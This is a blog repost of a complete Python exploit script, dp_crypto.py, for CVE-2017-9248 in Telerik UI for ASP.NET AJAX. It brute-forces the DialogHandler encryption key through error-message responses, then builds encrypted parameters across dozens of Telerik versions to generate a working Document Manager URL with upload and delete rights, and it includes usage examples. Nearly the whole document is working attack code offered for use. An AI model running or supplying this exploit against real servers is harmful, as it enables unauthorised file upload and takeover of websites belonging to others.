Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86383435

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Telerik UI for ASP.NET AJAX DialogHandler Dialog cracker
# Filename: dp_crypto.py
# Github: https://github.com/bao7uo/dp_crypto
# Date: 2018-01-23

# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog

# Version: Telerik UI for ASP.NET AJAX
# CVE: CVE-2017-9248
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness

# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)

#!/usr/bin/python3

# Author: Paul Taylor / Foregenix Ltd

# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py

# dp_crypto - CVE-2017-9248 exploit
# Telerik.Web.UI.dll Cryptographic compromise

# Warning - no cert warnings,
# and verify = False in code below prevents verification

import sys
import base64
import requests
import re
import binascii

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

requests_sent = 0
char_requests = 0


def get_result(plaintext, key, session, pad_chars):
    global requests_sent, char_requests

    url = sys.argv[2]
    base_pad = (len(key) % 4)
    base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
    dp_encrypted = base64.b64encode(
                                (encrypt(plaintext, key) + base).encode()
                            ).decode()
    request = requests.Request('GET', url + '?dp=' + dp_encrypted)
    request = request.prepare()
    response = session.send(request, verify=False)
    requests_sent += 1
    char_requests += 1

    match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
    return True \
        if match is not None \
        and match.group(2) == "Index was outside the bounds of the array." \
        else False


def test_keychar(keychar, found, session, pad_chars):
    base64chars = [
                    "A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
                    "D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
                    "G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
                    "J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
                    "M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
                    "P", "f", "v", "/"
                  ]

    duff = False
    accuracy_thoroughness_threshold = sys.argv[5]
    for bc in range(int(accuracy_thoroughness_threshold)):
                                                # ^^ max is len(base64chars)
        sys.stdout.write("\b\b" + base64chars[bc] + "]")
        sys.stdout.flush()
        if not get_result(
                      base64chars[0] * len(found) + base64chars[bc],
                      found + keychar, session, pad_chars
                      ):
            duff = True
            break
    return False if duff else True


def encrypt(dpdata, key):
    encrypted = []
    k = 0
    for i in range(len(dpdata)):
        encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
        k = 0 if k >= len(key) - 1 else k + 1
    return ''.join(str(e) for e in encrypted)


def mode_decrypt():
    ciphertext = base64.b64decode(sys.argv[2].encode()).decode()
    key = sys.argv[3]
    print(base64.b64decode(encrypt(ciphertext, key)).decode())
    print("")


def mode_encrypt():
    plaintext = sys.argv[2]
    key = sys.argv[3]

    plaintext = base64.b64encode(plaintext.encode()).decode()
    print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
    print("")


def test_keypos(key_charset, unprintable, found, session):
    pad_chars = ''
    for pad_char in range(256):
        pad_chars += chr(pad_char)

    for i in range(len(pad_chars)):
        for k in range(len(key_charset)):
            keychar = key_charset[k]
            sys.stdout.write("\b"*6)
            sys.stdout.write(
                        (
                            keychar
                            if unprintable is False
                            else '+'
                        ) +
                        ") [" + (
                            keychar
                            if unprintable is False
                            else '+'
                        ) +
                        "]"
                    )
            sys.stdout.flush()
            if test_keychar(keychar, found, session, pad_chars[i] * 3):
                return keychar
    return False


def get_key(session):
    global char_requests
    found = ''
    unprintable = False

    key_length = sys.argv[3]
    key_charset = sys.argv[4]
    if key_charset == 'all':
        unprintable = True
        key_charset = ''
        for i in range(256):
            key_charset += chr(i)
    else:
        if key_charset == 'hex':
            key_charset = '01234567890ABCDEF'

    print("Attacking " + sys.argv[2])
    print(
        "to find key of length [" +
        str(key_length) +
        "] with accuracy threshold [" +
        sys.argv[5] +
        "]"
    )
    print(
        "using key charset [" +
        (
            key_charset
            if unprintable is False
            else '- all ASCII -'
        ) +
        "]\n"
    )
    for i in range(int(key_length)):
        pos_str = (
            str(i + 1)
            if i > 8
            else "0" + str(i + 1)
        )
        sys.stdout.write("Key position " + pos_str + ": (------")
        sys.stdout.flush()
        keychar = test_keypos(key_charset, unprintable, found, session)
        if keychar is not False:
            found = found + keychar
            sys.stdout.write(
                          "\b"*7 + "{" +
                          (
                              keychar
                              if unprintable is False
                              else '0x' + binascii.hexlify(keychar.encode()).decode()
                          ) +
                          "} found with " +
                          str(char_requests) +
                          " requests, total so far: " +
                          str(requests_sent) +
                          "\n"
                      )
            sys.stdout.flush()
            char_requests = 0
        else:
            sys.stdout.write("\b"*7 + "Not found, quitting\n")
            sys.stdout.flush()
            break
    if keychar is not False:
        print("Found key: " +
              (
                found
                if unprintable is False
                else "(hex) " + binascii.hexlify(found.encode()).decode()
              )
              )
    print("Total web requests: " + str(requests_sent))
    return found


def mode_brutekey():
    session = requests.Session()
    found = get_key(session)

    if found == '':
        return
    else:
        urls = {}
        url_path = sys.argv[2]
        params = (
                    '?DialogName=DocumentManager' +
                    '&renderMode=2' +
                    '&Skin=Default' +
                    '&Title=Document%20Manager' +
                    '&dpptn=' +
                    '&isRtl=false' +
                    '&dp='
                  )
        versions = [
                    '2007.1423', '2007.1521', '2007.1626', '2007.2918',
                    '2007.21010', '2007.21107', '2007.31218', '2007.31314',
                    '2007.31425', '2008.1415', '2008.1515', '2008.1619',
                    '2008.2723', '2008.2826', '2008.21001', '2008.31105',
                    '2008.31125', '2008.31314', '2009.1311', '2009.1402',
                    '2009.1527', '2009.2701', '2009.2826', '2009.31103',
                    '2009.31208', '2009.31314', '2010.1309', '2010.1415',
                    '2010.1519', '2010.2713', '2010.2826', '2010.2929',
                    '2010.31109', '2010.31215', '2010.31317', '2011.1315',
                    '2011.1413', '2011.1519', '2011.2712', '2011.2915',
                    '2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
                    '2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
                    '2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
                    '2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
                    '2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
                    '2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
                    '2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
                    '2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
                    '2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
                    '2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
                    '2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
                    '2017.3.913'
                    ]

        plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
        plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
        plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
        plaintext3 = ';AllowMultipleSelection,False,3,False'

        for version in versions:
            plaintext2_raw2 = version
            plaintext2 = base64.b64encode(
                            (plaintext2_raw1 +
                                plaintext2_raw2 +
                                plaintext2_raw3
                             ).encode()
                        ).decode()
            plaintext = plaintext1 + plaintext2 + plaintext3
            plaintext = base64.b64encode(
                            plaintext.encode()
                        ).decode()
            ciphertext = base64.b64encode(
                            encrypt(
                                plaintext,
                                found
                            ).encode()
                        ).decode()
            full_url = url_path + params + ciphertext
            urls[version] = full_url

        found_valid_version = False
        for version in urls:
            url = urls[version]
            request = requests.Request('GET', url)
            request = request.prepare()
            response = session.send(request, verify=False)
            if response.status_code == 500:
                continue
            else:
                match = re.search(
                    "(Error Message:)(.+\n*.+)(</div>)",
                    response.text
                    )
                if match is None:
                    print(version + ": " + url)
                    found_valid_version = True
                    break

        if not found_valid_version:
            print("No valid version found")

def mode_samples():
    print("Samples for testing decryption and encryption functions:")
    print("-d ciphertext key")
    print("-e plaintext key")
    print("")
    print("Key:")
    print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
    print("")
    print("Plaintext:")
    print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
    print("")
    print("Ciphertext:")
    print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
    print("")


def mode_b64e():
    print(base64.b64encode(sys.argv[2].encode()).decode())
    print("")


def mode_b64d():
    print(base64.b64decode(sys.argv[2].encode()).decode())
    print("")


def mode_help():
    print("Usage:")
    print("")
    print("Decrypt a ciphertext:        -d ciphertext key")
    print("Encrypt a plaintext:         -e plaintext key")
    print("Bruteforce key/generate URL: -k url key_length key_charset accuracy")
    print("Encode parameter to base64:  -b plain_parameter")
    print("Decode base64 parameter:     -p encoded_parameter")
    print("")
    print("To test all ascii characters set key_charset to: all, " +
          "for upper case hex (e.g. machine key) set to hex.")
    print("")
    print("Maximum accuracy is out of 64 where 64 is the most accurate, " +
          "accuracy of 9 will usually suffice for a hex, but 21 or more " +
          "might be needed when testing all ascii characters.")
    print("Increase the accuracy argument if no valid version is found.")
    print("")
    print("Examples to generate a valid file manager URL:")
    print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 hex 9")
    print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 all 21")
    print("")


sys.stderr.write(
              "\ndp_crypto by Paul Taylor / Foregenix Ltd\nCVE-2017-9248 - " +
              "Telerik.Web.UI.dll Cryptographic compromise\n\n"
            )

if len(sys.argv) < 2:
    mode_help()

elif sys.argv[1] == "-d" and len(sys.argv) == 4:
    mode_decrypt()
elif sys.argv[1] == "-e" and len(sys.argv) == 4:
    mode_encrypt()
elif sys.argv[1] == "-k" and len(sys.argv) == 6:
    mode_brutekey()
elif sys.argv[1] == "-s" and len(sys.argv) == 2:
    mode_samples()
elif sys.argv[1] == "-b" and len(sys.argv) == 3:
    mode_b64e()
elif sys.argv[1] == "-p" and len(sys.argv) == 3:
    mode_b64d()
else:
    mode_help()